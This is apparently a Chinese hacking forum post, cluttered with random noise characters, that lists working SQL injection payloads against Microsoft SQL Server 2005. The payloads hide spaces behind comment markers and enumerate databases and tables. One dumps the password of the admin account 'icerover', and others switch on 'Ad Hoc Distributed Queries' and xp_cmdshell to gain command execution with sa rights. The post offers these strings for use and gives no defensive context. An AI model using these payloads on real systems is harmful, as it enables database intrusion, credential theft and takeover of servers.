3 q' H& v7 H8 I% F( P8 v& \: y' B6 Y! E7 B8 `+ a/ Z$ P
- d9 C6 w$ _( ][Copy to clipboard]CODE:
$ t5 K0 }" ^& R( I( N/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
( ]" r6 [# `& f, p! r. ]" C$ ]4 H9 w& g/ G$ R& Z
爆表语句,somedb部份是所要列的数据库,红色数字1累加6 E7 b9 b4 z8 s0 I
; `" ]8 ?3 h3 i+ F9 {. R2 ~1 D
6 t. F8 Y+ M1 Y7 a/ K* v9 H* \
[Copy to clipboard]CODE:+ _0 n5 s- h0 W
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
Y) E# N( V) ?+ Q' r$ ]- S7 c5 u' r$ q3 ^& M1 c
爆字段语句,爆表admin里user='icerover'的密码段
4 A' j' z5 i1 R* ~- p& s/ C# {) {0 P. e2 a1 C
, |. Y# A- ~& v: y" n
[Copy to clipboard]CODE:
: L/ C5 C. `5 U7 ~**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
% k/ c4 N5 I7 ~5 T( M3 w0 g
) T1 y. E* T/ ]6 o0 a8 Rmssql2005默认没有开xp_cmdshell的,openrowset也不能用; P. | c& K+ _1 n: x0 z& X
如果是sa权限,可以这样来开启# c" |$ ]; [7 @7 O5 a
开启openrowset G s8 D0 \4 a, W8 z
+ ]. r( H2 E9 f- n ^" J& ]% t- A! N" m! a: H: F8 A7 q8 p( x' F1 V
[Copy to clipboard]CODE:
4 m6 U, X, Q9 A; i& G, e1 Y" I/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
& K% s: E, ^( K/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--) {; a/ Q8 f2 _* A
% U9 G( K1 U: N# Z7 a4 ~6 m开启xp_cmdshell. j% t8 G T; ^- \; d" {! W
: F) d: f8 b. r2 M/ T m8 V. h7 O$ A
[Copy to clipboard]CODE:
& k+ o% x6 g8 r3 S% ZEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--( o3 F+ x1 K4 T; Z% E* V5 i
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
t+ _7 C( h3 B% c u
1 n s: t+ ^% t, X8 @, H9 fok,over~~晚安9 q% E) i$ d# g+ t
|